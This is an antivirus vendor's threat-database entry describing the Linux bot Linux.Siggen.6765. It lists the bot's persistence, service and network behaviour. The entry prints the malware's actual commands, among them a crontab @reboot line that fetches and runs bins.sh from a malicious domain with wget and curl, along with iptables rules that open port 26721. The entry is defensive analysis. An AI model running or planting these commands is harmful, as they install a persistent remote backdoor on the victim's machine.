Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Linux.Siggen.6765

Added to the Dr.Web virus database: 2024-03-17

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • 408dbcn6igovp6ctrq8mqbs7
Manages services:
  • ['/bin/systemctl', 'enable', 'bot']
Launches processes:
  • (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh\x22\x22) | crontab -
  • /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
  • /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
  • /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
  • sh bins.sh
  • crontab -
  • busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
  • /usr/sbin/xtables-nft-multi iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
  • crontab -l
  • chmod +x bins.sh
  • iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
  • /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh
  • /bin/systemctl enable bot
Performs operations with the file system:
Modifies file access rights:
  • /var/spool/cron/crontabs/tmp.oOkCoV
Creates or modifies files:
  • /dev/full
  • /var/spool/cron/crontabs/tmp.oOkCoV
  • /etc/init/bot.conf
  • /root/.bashrc
  • /usr/lib/systemd/system/bot.service
Changes time of creation/access/modification of files:
  • /var/spool/cron/crontabs
Network activity:
Awaits incoming connections on ports:
  • 127.0.0.1:8345
  • 0.0.0.0:26721
Establishes connection:
  • 8.#.8.8:53
  • 13#.#95.4.2:53
  • 0.0.0.0:0
  • 19#.##.195.195:53
DNS ASK:
  • re###thltd.com

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number